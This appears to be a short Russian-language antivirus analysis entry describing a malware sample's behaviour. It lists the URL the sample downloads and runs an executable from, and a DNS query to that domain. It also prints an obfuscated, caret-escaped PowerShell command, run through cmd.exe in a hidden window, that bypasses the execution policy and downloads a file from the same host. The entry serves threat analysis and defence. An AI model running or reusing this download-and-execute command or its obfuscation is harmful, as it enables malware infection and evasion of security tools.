Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOWe^R^sH^eLL.Exe -EXE^C^u^TioN^PoL^iCy b^Y^p^aS^S^ -NoprOFil^e -^wIN^dOwS^t^yle hiDD^EN ^(nEw-O^B^JECt SYstE^M.^N^ET.wEb^C^LI^e^Nt).^d^O^wNl^oA^DfIL^E('http://www.fapoergol....
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOWe^R^sH^eLL.Exe -EXE^C^u^TioN^PoL^iCy b^Y^p^aS^S^ -NoprOFil^e -^wIN^dOwS^t^yle hiDD^EN ^(nEw-O^B^JECt SYstE^M.^N^ET.wEb^C^LI^e^Nt).^d^O^wNl^oA^DfIL^E('http://www.fapoergol....' (со скрытым окном)
